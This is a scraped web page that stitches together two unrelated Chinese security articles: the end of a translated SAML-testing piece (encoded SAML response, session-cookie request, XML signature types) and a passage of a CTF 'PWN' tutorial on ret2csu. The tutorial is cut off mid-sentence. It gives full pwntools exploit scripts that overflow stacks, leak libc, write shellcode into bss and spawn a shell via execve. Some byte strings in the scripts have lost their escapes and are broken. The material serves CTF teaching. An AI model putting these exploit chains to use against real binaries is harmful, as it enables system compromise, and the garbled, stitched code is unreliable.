dG1XUllMTXIvdEdKTWVsV25Mam8wQmlqVlZYQjlPWkhzbTVScmdJWVdIYm83SkFMbTBHMGxHVlRmbThtaXlsbExRK3RSbGFpTVI1c2ladktVdk0rNlkzK3VMMWtSOWxnUHQ5U1ZCWURzVTZBMXRyTzNIck5uZ1g5UWRVSUExQUtraDBiUVIzVHhlZ3phK2pwL3JNSm1ob25IR21STlFYZzVmZFRiem5qQ3lCMWdDZ0N6dkE2RHJFQ1JwQVdMeks5OFdpZ25Jc3JKakIwMTJzaGV6UDc2ak1meExGcFh5b1VXYkNhVFVoYjNJMkUydXRyU1dDUnZOeGJPTGlYdUtUUkQ2UEkzdlNjVURHQU9VL2QxTDdYQ1VnOXJEM0VqSnFPYTQ4aEFNMFRYdjB5MWlkRXFZWnJCK1hmSVl5c1NqTmVHOWh1WTRHenRuQW9oaWVtZ0hsdlJGdkVJckJpT3paVHNnQjllaElrOGFpK3JXUDk1OEM0dEVwRnhhNS8zVDNHOC9INHd4VjByaGNjbHg4VS9JY0FOVVJxQlNrSHZMUmg1dlBjcFJDMjNoTngvRXM1VVlXMXZlR2pMYlpRalMvSXQ4TDVsYjhsL2pZMGxlN2dIVEZ5RnBBcWx3TDlmY1QwZUFaYm1MbW1ZZElEbnJxdGVYWGQwL1dXcWVaV0cwQ3g0akorN0hCVHJodUNzcDJ3QlRzb3FTbGdreUhGNU1SNEVlNitiY2pxb0tXSUpzdXEyaEkrbWQvUDE3RlJ2YTQwdXMxNFY2Z0RrVHZEcVZ3OTk1MmZOTE13TmR4bzlRa0NWTmwxRy9FNGVETXl3MUMzMXFiNnJtUlRhclN3Vmx1RlV5RnZpVUE3WkxJOWxuZjNTRUNPV0NRYy9tdkZCVGNRUXExYnN3S2tPZTAvM3lPSlB4VENNU2ZIeDc5MlJSbHNXSkxDdVNkRjBDWEhKSzltL0F3L2U5ZmRmUVduVyt4RUFWdlRBTEFKbjd5QWkwRUtQeU56anMybndReEZhUWtydWhUeGxrMm9TT3p4ODhET2JDakNNWDJSbEpEUzY0M000U1ZpbUcyUjFlSlNPbS9YUkhoeU5MY2RWeTg1b0VJOG1FSG0yN2paVDRUVlhCeEpQcnpKNUVkbTFQWHZtZ01RZXFzSWVFSWZ4TFpvNG5YL2JwZmtnRGF3SkxkSUdHczh4TE9rclBFbDQ5NGJtc2FsdFpTRHh3eCs1MmtjSm9MRHRnNk5YdnVEWHc2eDNhTm1qK0VTK0toQzZ6Wmc3b3I5YVZmWEUwUjUrY3FsSjIvd2NDWmZBcWlVUkF0QUdCWDBOYnA4WUVpRVpwVzJYNXFmQ1RpbUVobjVVdUhTeHY1cVNrQXdYdlNBVGljbFRTY0kzWTJQOURURVozblRNR0cyRXJVT2hjU0FobC8yUGFRemlDeGNTYSsvWUhaUzZCRk9KRi9tWTZ5WHVMd3NzRVJSZ0o4S09wMUVSU2FZVWVXRDJtcERZUy9KRVJobEFVUmFkOFVjYVVLSEJZSTg5eXIzdk56N2FqbUt3U3dRanlnRm1nZGJrSFFwQ25EcTE2TzMwdDY5eXhwcC94OEZFNUo0TU9ab1hwVXJPZ1RkSFlFa3IwN3dPZzR2U1BlZTZSUWRhOUo5eTNvQUNvZFlrQ0V3VGlpU1d6RlRwRGpjM2dEZU1WOUdkUUJOYUVsa25obFNBN3JRRFR2RDhjSmQ1WDVnK2kyTUdnV3A2UmcwdDR6OEg3dCtkYXNsZkd0Sll5dzc1a3hadHpPT3JCV2ZmU3kxSVVLMDB3VURzUUY1TytEMzVydXcwa245ZnUzbEZCU1RqNGVKQ2ZuWHVvTUY0VG41YUE5WWtkYWZUTHlCRVB0WVN4dFNzeVRKQWJLZXNaeXl2bE5YOGFEbzB0Z1NrTUZLbDNhUy9Db09vRG9BNE11ZG9iNGFMOW83MEdlNStnb1JwMkJsa2NzZ3A1Z2ZlSlZlQ2ttdWNYYjVTWGs3ZVRSU1BPU3BBQjROTXZJL0xLRVJ4Z2lhMHkzR2hWYWJLMHEweVBUQWFya0xEM0d5SHB5bTFjd3NmUTMzQ29PWmZERU5zc1VoK1pKWlo3TDVmbHkydldBcGVPZ3B2UU9pc0g2VGRXbXFOSThlNE1qcUJuL1V4anM2UU4xeXlrbEV5WFk3aDRPNTNMUHlEUDI0am5XVFQ1NVRlenE2U1BpVFJRNmlaYVhsTnFFMWQ5WDIzV2tUUFQyVklUMElNa3BJUFhuTkllem4ycVRIMEJEWHJIcUtNUG81RC9qZW0vL2ltR0VQU1JabUhtTGJuM2ZsazF3VU9FZGZiL0JkT3dFVkRIRHlnU3ZHYS9DM0JkNVVKekVPaFlzSFN0YXFiWUFYSlVmb1p1ck5RQ09od3hCVVJySzdadmVMc1lsc01pK1hvZm11c2NFQ2oyVzUwRE1peFF5Vi9JZ2Q2dEpWb1p1Zk1Rb01pb2xEMSs4VmNLOTNVS0djUmVUTnhZV05vZjVEZ0NJNUVTdEVoMnlOQVhFMFNMNTlGT1V4am13bzNMbEJIOUN5VUc2QXp5STErc1lxQk5MdVBteEJTQUl6UFYzT2NzZmpoWEpJeXIxMnQ1Yi85THVpT0hRU3hWUmQyWVAzekM1Nmg3Q00rSUZNam1aRUdIakIvek1ESTJCc3hvMmhQeVh4N2Y1eVpwS0poVFZ5dXpiSjZIMzlHU3M2ajF6RytrVWgvVmd2bU1yWlhseHgvUVlTMU5QSVJ6dElQRmU0dHNGY0IyV1JNZXhvZEc3VVE0NjBZQk5hWGFLU3cwMHdmaGdhVHVxWVhMRy81Y3RjUy9DMkg5VWdra2RtOG1yNzRpVjBYdklaQmxSVXo2cVNLZjFtZExQcGppbDBJNUFRR2UwUmhHMTZ6RElsNEdsem41cVh2dS9BdVZvZzJwT0hLaTBqcVJqa0p4VkdPQjVNK1lpeXBXSWpzTkxRNDYxR2hNeVN3aDMzVlI4aWhueWVmM1oycjlXbVgrSkJkTGNZOWhiRFZKNFAxT2hFb1Vxd0pnV25saUoxL0NIelYwSG5CaGcrc1lZZnVnT0ZSaWY5ZDZCVUZ5cmIwVnF0OTlWQTZyLy9GN3AzMG0zVzBnMjlNQ2VoZG14SzhHVFZ6d3JpTGpnaDArUXpHeHJoMk5hRG02NWs3Y1BKMVREWmlZa3I2OEh4MnBVTmRMRmtpZHJsTDd3QWZrV3V2Tmd5ZlRlclFsSzdxVHUxNzJZdzg5dThxZmkrenoxdktrakx6d2x4ZHE0K0oxOVpHMnJ3ZlBXaFRJbG1hL1VQTndFNkhycVY2ajhGYWtVdGZNSVJWWHRtK1JyNFVJOEdackpJbUVueTJlV05DM0lQZUQyRVQwN0kwRU92RDFtVkdQVHRFK1pqZ1ZLaFFEYVdINkR3LzRtcVJ1b2tLU252YjJ4a28vd0dRV0RUTHdjSWM5c3pXRHRIbEJRdjZaaU5KTkxGamFWWksvaWFaNVRmWUFLTk9IT25sU25xc1ZOVnk5eEV5anhtYzVVYUhYNHdSeS8wQ29PWlNqODJpU2tWa2NOc0hsVXh5d2ROVEl5NGYzWmVncDk1dmg2TE0vUnd3T1VjYjdSODVBYTFGVXA1WkszQ1NkZi8xdlQrSjZUYUdoOWtnOHkyZzJwZjhXU2NDYXYxMVgxV1pOOFhkb3J0WDZ5ZzhUaFVzaWxvK09DeVlMelNOWm94MHkzQU1DNW56UFBNZGRBUC9sRUd0OHpVS1FvU0JkbmZYTEZQaWk3aDU3QWNqc3JNSm5HTmhoOHQxVU1TOGNDWWNBaVZSU3c5Qk5GdG1aQkFHNjR1ZXl4dytQZWpYN3ppWDZrOXlGVWNFdk8wQ0JkZGRWVVRZdS9NZkZpT2V6K3dpRFdzY3hJNm9OcWJndUR3MDdvTytQcDljTjFaWmNqYmJNd1JsSEdMTUsrZlVzZ2orbWt3Z1MyR2VWTGovV3lUSGo5VG1GbFhMWEtlZmxkWVFKUG1lb0kwQmdVZ3E3cHgzUSsrWXpNU1hrZFNIUmllOTRyU3dlOU9jZU9yM2FTcEQ2Yzl0cGtYZFJyQWoxWVdIbGhDaEkvakJXM3lMbEw0WDlGN3JrUVpsL3BuMERtQmJxYTdta1k4em9oTFdPMDhkTTNMS3FGU2VkdElmYm83emNLWnBIY2tjdVhQSWF4dHlYTVdWanBieUZEQXpYSlo0V2JCR0hCRzJ1ZlREeEU0VjdFaHFMeCtWZlNyMUFzeGhYRW0xQnRwRkRaSFlOUXNFUXBOS2R6M2JybStjZnowYU1raDZGaGF1YklicUFQNWlaQ2crN3dZUHNmUm42bDE2ZTIrZFVSNE1mNWxyZE1UaUljVTNEdGFuRVF2YXdSQXkySCtMNGdLNTROVVh4ZE5KY3NKWkFuOXdzSzlWdzJxS0M4UHhDaGR0dHV2Qm83KzkzVEdGenMxS2FBSFdNTk1kMnVKVVlJTkdLUEIyKzVSU0JuVHpDbU55bUFpOGJ3ZWxnTnpSbkNtWVNZaVJHbmlQc1dmUmJlTTNSWURaVDkzbEo5c25oamNuYnFCMDYrUlloaVBHeFdSVVJIZE1QaHI5TTNOejFpdmRFckd5VmNmdzhNT1FvbFZLTmIxdUJQME42SEd2NVVyQzBxYmpRczJ5OWJDaWw0dEZNbzlGY0tqNWNYUGpMU041RDl4OG14MkNORmNPbm1sYjI5WFprS0NtN3d2STFVREZGTlFlYnpDWTlSMWtPUG9PWlV1N1Y2RDVWcWlwcmZiOVVlK3lLenkyOExTMEQyUjlmSVNpZnhNRExBUGZMODZzYjRlR1R4U2J3Wk9MTWI0QzlUcjNiMVdUenA0WnFwWExmSVpoSEtvZGxoZkgyTTFaQ1FGamRxTS9XWGprL092Q3ZHczNocDdBckVtQTBJOGtnMDFVUmpMdXJVMkc4T1hyWkxhdFNUaEJOZm5JTDFYenI2U3M1dzJ1cEpnOCtwM0NSb2YxVHRma25BcWp5dXYwcVNDdUVBVTF0Y290OTVuQVBacndMdUZTS2QwK1FTSDJMQVEzNlZZMEpLbVRqMXFSQndNUzJ6UFNGVzJsYXU2cG9wUUdxQTR1K01USnVpOXY4M3RWMG9xRDV1NkVSTXZ4WnFGcGgvWVZZUVFPZEJiSHJwZWFyTlVrVG5DM0s1TmNzSTArVWtJdGN3L1BYZ2FhMStIdXhJRmNzOStxeitTMDBtVEs2c3pnUWZ5Q3ZsUExKVXhOT3VBUVFpTzBRVzBhQjBtMEIvQWNyS1RjNlJaRE42cGM5WVIybUcxOW1yR09veUxmVjFaL0lVd1VHUFB1ZkZGZUsxdzBxUzNnMHZxdmQ0VWhFTVgxMTgrMzVka2w2N3JWb2NkRUJnQlZVWVRTNkpabHlqRVNYSVJaQVBCQnlBRkF1ZzRRdHRqT0FKcFp1TmtFd1dFV2V4TC9SWkJ1MHcvQjIyYVV4d3p6SVZUOGFTOVpCV3FBS3NicXRuYno1YXU1MzNXS2VaSm0wdHJKQTUzZE1sK1lFemNPMjIvenlWV1c2MURiTnRCbUpJWWhCUkRDOUx3KzdCWjJBemc9PC94ZW5jOkNpcGhlclZhbHVlPjwveGVuYzpDaXBoZXJEYXRhPjwveGVuYzpFbmNyeXB0ZWREYXRhPjwvc2FtbDI6RW5jcnlwdGVkQXNzZXJ0aW9uPjwvc2FtbDJwOlJlc3BvbnNlPg%3D%3D
一旦收到POST请求并验证SAML响应，我们就可以访问最初请求的受保护资源。
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO
Connection: close
Cookie: _shibsession_64656661756c7468747470733a2f2f7368696264656d6f2d7370312e746573742e6564752f73686962626f6c657468=_ac05716a62d3ee9450c863b093f32bbb
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 12 Mar 2019 20:55:04 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 1047
Connection: close
Content-Type: text/html; charset=UTF-8
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>IDM Integration</title>
-------------8<-------------
# XML签名
我们需要讨论的最后一项是XML签名。有趣的是，XML签名可以用于对整个XML树或树中的特定元素进行签名。我们在前面已经看到，在我们的示例SAML响应中使用了两个单独的XML签名。每个签名负责不同部分。在本节中，我们将研究将XML签名合并到XML文档中的不同方法。值得注意的是，虽然我们的示例使用响应元素作为要签名的资源，但XML签名可以应用于任何对象，包括断言元素。
## 被封装的签名
基本XML签名由以下元素组成
<Signature>
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
<Reference />
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
</Signature>
对我们来说特别值得注意的是，要签名的每个资源都有自己的Reference元素。Reference元素的URI属性表示由该特定签名的资源。
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
被封装的签名是指签名本身是其签名的资源的后代。我们可以在示例的ds：Transform元素中看到这一点。
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
...
</ds:Transforms>
...
</ds:Reference>
## 封装的签名
如果XML签名包含被签名的数据，则称为enveloping signature。
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
</samlp:Response>
</ds:Signature>
## 分离式签名
如果XML签名用于对包含该签名的XML文档之外的资源签名，则称为detached signature
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
# 结论
签名、断言和响应之间的相互作用构成了本系列下一篇文章的主要内容。我们将研究与SAML相关的不同攻击载体，然后深入研究BurpSuite的SAML
Raider插件。敬请期待。
原文https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow | 社区文章 |
# Mac PWN 入门系列（七）Ret2Csu
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 PWN入门系列文章列表
[Mac 环境下 PWN入门系列（一）](https://www.anquanke.com/post/id/187922)
[Mac 环境下 PWN入门系列（二）](https://www.anquanke.com/post/id/189960)
[Mac 环境下 PWN入门系列（三）](https://www.anquanke.com/post/id/193115)
[Mac 环境下 PWN入门系列 (四）](https://www.anquanke.com/post/id/196095)
[Mac 环境下 PWN入门系列 (五)](https://www.anquanke.com/post/id/196624)
[Mac 环境下 PWN入门系列 (六)](https://www.anquanke.com/post/id/204755)
## 0x1 前言
网鼎杯白虎组那个of F
的题目出的很是时候，非常好的一道base64位ROP的题目，刚好用来当做本次64位ROP利用的典型例子，这里笔者就从基础知识到解决该题目，与各位小萌新一起分享下学习过程。
## 0x2 ret2csu
通过上一篇的学习，我们可以知道
64位程序的参数传递与32位有比较大的差别，前6个参数 由rdi rsi rdx rcx r8 r9
寄存器进行存放，在64位的程序中调用lib.so的时候会使用一个函数`__libc_csu_init`来进行初始化，通过这个函数里面的汇编片段，我们可以很巧妙控制到前3个参数和其他的寄存器，也能控制调用的函数地址，这个gadget
我们称之为64位的万能gadget，非常常用，学习ROP64位，是必不可少的一个环节。
上图是程序执行时加载流程。
下面我们一起来学习下吧。
题目获取:`git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git`
里面的level5 就是我们本次分析的题目。
这里我们先查看下汇编代码:
1. AT&T 风格`objdump -- help`
-d, --disassemble Display assembler contents of executable sections
-D, --disassemble-all Display assembler contents of all sections
这里我们反汇编下执行部分的sections
`objdump -d ./level5`
2. 8086风格这里可以直接上ida或者`objdump -d ./level5 -M intel`
64位ROP利用.assets/image-20200519095700969.png)
阅读的时候注意两者的源操作数与目的操作数的位置即可。
这里最适合阅读的话，推荐`odjdump -d ./level5 -M intel`
我们先简单分析下这个代码:
**ret2cus的灵魂之处体现在 gadget2 利用 gadget1 准备的数据来控制edi、rsi、rdx和控制跳转任意函数。**
这里是gadget1部分代码
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
这里可以看到rbx、rbp、r12、r13、r14、r15 可以由栈上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30来决定
最后rsp进行+0x38,然后ret,这里就很好形成了一个gagdet了,因为ret的作用就是 pop
rip,也就是说我们能控制gadget1结束后的rip。上面的代码是16进制的，可能不是很好理解,这里有个师傅的图画的相当形象(这里我做了一些修改,我们先从简单的利用开始学起。)
虽然这里我们可以完美控制了rbx等一些寄存器，但是我们参数寄存器是rdi、rsi、rdx、rcx、r8、r9，所以说gadget1好像没什么用？
这个时候我们就需要用到gadget2了,
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
可以看到我们的rdx、rsi、edi 可以由r15、r14、r13低32位来控制,call
由r12+rbx*8来控制,而这些值恰恰是我们gadget1可以控制的值。
但是这样我们仅仅只是利用gadget1 、 gadget2执行了一次控制,当call返回的时候，程序会继续向下执行，
如果此时
`cmp rbx,rbp; jne 4005f0`
如果此时rbx与rbp不相等，则jnp(not equal)则会进入这个循环
从而程序就卡在这里，ebx一直在+1，才退出，这里为了方便控制，我们可以根据gadget1来控制rbx==rbp，从而让程序继续向下走，回到了gadget1,在rsp+0x38处布置我们的返回地址，即可完成一次完成的ROP。
根据这个图(因为反编译的可能存在一些差异，我的程序可能跟这个图不太一样，但是整体逻辑是一样的)
这个图其实还是有点问题的,rsp应该向下8字节的位置,rsp指向的其实是第一个p64(0)(这里看作者右边那个图，感觉应该是未执行前画的堆栈图，那么结果就是对的)
下面我的分析是call gadget1进去gadget2来分析的。
rsp+8指向的rbx,… rsp+48指向的是r15,rsp+56(0x38),正好就是我们的返回地址,这个时候retn(pop
rip),执行我们的gadget2,gadget2向下执行的过程中，因为rsp没有改变，执行到`add
rsp,38h`,此时`rsp+0x38`,所以我们直接+0x38的位置,然后拼接我们的漏洞函数就可以了。
我们调整下结构就容易写一个csu的利用函数,方便我们在其他程序中快速利用
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = p64(csu_end_addr) + p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'A' * 0x38
payload += p64(last)
return payload
这里的注释写的很明白,
rdi由r13d来控制，rsi由r14来控制，rdx由r15来控制,这里的`csu_end_addr`是gadget1的开始地址,`csu_front_addr`是gadget2的开始地址。
也许有些小萌新还是对
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
这个构造感觉还是有点不懂，不过问题不大，我们用exp来解决这个题目，然后分析下，基本就能完整理解了。
首先还是套路三部曲:
**1.checksec**
没看栈保护、64位程序
**2.ida**
这里用了程序加载了 write,read,同时很明显read函数对buf处读取存在栈溢出，因为0x200>0x80
我们简单搜索下，发现这个题目没有后门函数，也没有`/bin/sh`字符串，这个套路其实我们之前也遇到过了。
就是通过栈溢出让write输出libc的基地址，然后用read函数往bss段里面写入`/bin/sh`然后在调用syscall
即可完成PWN的过程。
**3.编写exp**
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
# from libformatstr import *
from LibcSearcher import LibcSearcher
debug = True
# 设置调试环境
context(log_level = 'debug', arch = 'amd64', os = 'linux')
# context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./level5")
elf=ELF('./level5')
else:
link = "x.x.x.x:xx"
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
elf=ELF('./quantum_entanglement')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x400544
bss_base = elf.bss()
csu_end_addr= elf.search('x48x8bx5cx24x08').next()
csu_front_addr = elf.search('x4cx89xfa').next()
log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
log.success("write_got => {}".format(hex(write_got)))
log.success("read_got => {}".format(hex(read_got)))
log.success("main_addr => {}".format(hex(main_addr)))
log.success("bss_base => {}".format(hex(bss_base)))
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = p64(csu_end_addr) + "A"*8 + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'A' * 0x38 # 这里+0x38是因为在gadget2中没有对rsp影响的操作，所以直接+0x38即可
payload += p64(last)
return payload
sh.recvuntil('Hello, Worldn')
payload1 = "A"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)
sh.sendline(payload1)
write_addr = u64(sh.recv(8))
log.success("sending payload1 ---> write_addr => {}".format(hex(write_addr)))
libc = LibcSearcher('write',write_addr)
libc_base_addr = write_addr - libc.dump("write")
execve_addr = libc_base_addr + libc.dump("execve")
system_addr = libc_base_addr + libc.dump("system")
log.success("libc_base_addr => {}".format(hex(libc_base_addr)))
log.success("execve_addr => {}".format(hex(execve_addr)))
log.success("system_addr => {}".format(hex(system_addr)))
# pause()
#sh.recvuntil("Hello, Worldn")
payload2 = "A"*0x88 + csu(0, 1, read_got, 0, bss_base, 0x100, main_addr)
log.success("sending payload2 --->")
sh.sendline(payload2)
log.success("sending payload3 --->")
payload3 = "/bin/shx00"
payload3 += p64(system_addr)
sh.sendline(payload3)
log.success("sending payload4 --->")
payload3 = "x00"*0x88 + csu(0, 1, bss_base+8, bss_base, 0, 0, main_addr)
sh.sendline(payload3)
sh.interactive()
这里我们以payload1 作为分析的样本
1.`payload1 = "x00"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)`
可以看到这里
这个其实对应的调用是`write(1, writ_got_addr, 8)`
其他的点,建议自己跟一下,如果还不明白, 欢迎加入PWN萌新群，寻找大佬手把手教学。
UVE6OTE1NzMzMDY4 (Base64)
### 0x2.1 关于ret2csu的题外话
如果你看过ctfwiki的话，里面介绍了res2csu的攻击方式与本文是有些差异,主要是`__libc_csu_init`
这个函数由于是编译的原因(PS.我也是猜的),导致了不同,这里我们可以进行对比看看
这里我们可以重新选择编译下那个程序:
`gcc -g -fno-stack-protector -no-pie level5.c -o mylevel5`
左边是我们新编译的`mylevel5`,这个函数gadget1 与ctf wiki上面的分析是一样的,gadget2 与 level5 是一样的，很神奇吧。
右边是我们上面主要分析的流程的level5
**首先是gadget1:**
ctf wiki上面是直接选择了`pop rbx`开始,所以我的`rsp`就没必要+8了,所以
`payload = p64(csu_end_addr) + p64(0) +p64(rbx)`
我们需要去掉多出来的`p64(0)`
`payload = p64(csu_end_addr)+p64(rbx)`
**其次是gadget2:**
4005d0: 4c 89 fa mov rdx,r15
4005d3: 4c 89 f6 mov rsi,r14
4005d6: 44 89 ef mov edi,r13d
可以看到r15控制了rdx,r13d控制了edi,这个和我们上面分析相同，但是在ctfwiki上面的
可以看到r13控制的rdx,r15d控制了edi
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
这是ctf wiki的脚本,但是并没有具备全兼容性性,
所以我们平时一定要看清楚程序编译的`__libc_csu_init`的具体的初始化流程,然后修改下自己的csu的参数和位置。
**个人的一些看法:**
这个点也是我觉得萌新应该花时间去理解的，要不然只会套脚本，很容易把自己给坑死了。因为在pwn的过程中，环境很大概率会出现各种各样的问题，自己一定要掌握原理和调试的能力去解决这些问题。
## 0x3 dynELF
前面我们的思路一直是寻找确切的libc的本地版本与远程版本进行对应，但是在一些特殊情况下，这种方式是行不通的，本地能通，远程爆炸。这个时候dynELF技术就能解决这类型的一些问题，通过直接dump内存，去寻找libc的中函数地址，在远程的环境中运行。
### 0x3.1 浅析原理
这个内容涉及比较深的知识点，鉴于文章篇幅，先挖个坑，后面补上。
## 0x4 网鼎杯白虎组of F WP
最后我们用一道CTF的真题来完结我们的文章吧,据小伙伴说这是一道非常好的64位ROP的题目。
网上也没有什么写这个文章，估计有不少小伙伴想试试的，这里我就以这道题目为例简单运用下ret2csu的思路。
1.checksec
emm,没开保护,64位程序，
2.ida
很明显一个gets的栈溢出点
cyclic 200
cyclic -l faab
确定了偏移是120,开了NX,用了gets,先看看能不能shellcode一把梭。
`objdump -D pwn -M intel |grep "jump"`
发现没有用到`jump`的相关指令,这就无语了,我们没办法直接跳到shellcode
上执行了，因为你不知道栈的内存地址呀，跳不过去，要是有jump指令的话我们就能控制rip回到栈上向下执行。
存在`__lib_csu_init`满足万能gadget的条件,目前我们还能知道的一个点就是这个程序漏洞是由`gets`这个函数导致的，所以我们可以用`gets`来进行任意内容的写入，同时通过查阅程序内的函数，在`init`函数中发现了syscall的调用
整理上面的条件
这里有两种思路我们来看看:
### 0x3.1 bss段写入shellcode
gdb下用vmmap查看下发现bss段有rwx权限
这里就很简单了,直接用gets写入shellcode,然后ret2csu到call的时候执行bss地址即可。
`ROPgadget --binary pwn --only "pop|ret"` 找一下发现有pop rdi这样我们就很方便控制`gets`了
exp:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
# from libformatstr import *
debug = True
# 设置调试环境
context(log_level = 'debug', arch = 'amd64', os = 'linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./pwn")
elf=ELF('./pwn')
else:
link = "x.x.x.x:xx"
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
elf=ELF('./quantum_entanglement')
rc = lambda: sh.recv(timeout=0.5)
ru = lambda x:sh.recvuntil(x, drop=True)
bss_addr = elf.bss()
gets_plt_addr = elf.plt["gets"]
pop_rdi_addr = 0x4006a3
shell_code = asm(shellcraft.amd64.linux.sh())
log.success("bss_addr => {}".format(hex(bss_addr)))
log.success("gets_plt_addr => {}".format(hex(gets_plt_addr)))
log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr)))
offset = 0x78
payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr)
# pause()
# gdb.attach(sh, "*0x400633")
sh.sendline(payload)
sh.sendline(shell_code)
rc()
sh.interactive()
这里没什么太大的难点,关键的构造
payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr)
应该还是很好理解的吧，调用`gets`把shellcode写入到bss段,然后返回到bss段的地址上执行shellcode
### 0x3.2 syscall系统调用
这个小伙伴说的他做的这个可能是非预期，比如开了NX保护的时候，bss段就没办法执行了,但是还是有读取的权限和写权限的话，那么通过一个ROP绕过NX保护即可，很实用的一个ROP操作，下面看我分析吧。
**了解syscall系统调用**
> execve(”/bin/sh”,0,0) 这个函数其实就是对系统函数的一个封装
>
>
> mov rdi,offset bss
> mov rsi,0
> mov rdx,0
> mov rax,3bh
> syscall ;因为rax为3b，所以执行execve("/bin/sh",0,0)
>
>
> 其流程如下
>
> 1、将 sys_execve 的调用号 0x3B (59) 赋值给 rax
> 2、将 第一个参数即字符串 “/bin/sh”的地址 赋值给 rdi
> 3、将 第二个参数 0 赋值给 rsi
> 4、将 第三个参数 0 赋值给 rdx
首先我们可以通过ret2csu来控制rsi、rdx,然后通过`gets`向bss段写入`syscall` 和`binsh`
但是rax的话,由前面可以知道ret2csu只能的控制的寄存器只有:
rbx rbp r12 r13(rdx) r14(rsi) r15d(edi)
好像并没有控制rax的方法,这里我们找找gadget链条,并没有。
这个时候就是知识的力量了
> read函数原型：
>
> ssize_t read(int fd,void *buf,size_t count)
>
> 函数返回值分为下面几种情况：
>
> 1、如果读取成功，则返回实际读到的字节数。这里又有两种情况：一是如果在读完count要求字节之前已经到达文件的末尾，那么实际返回的字节数将
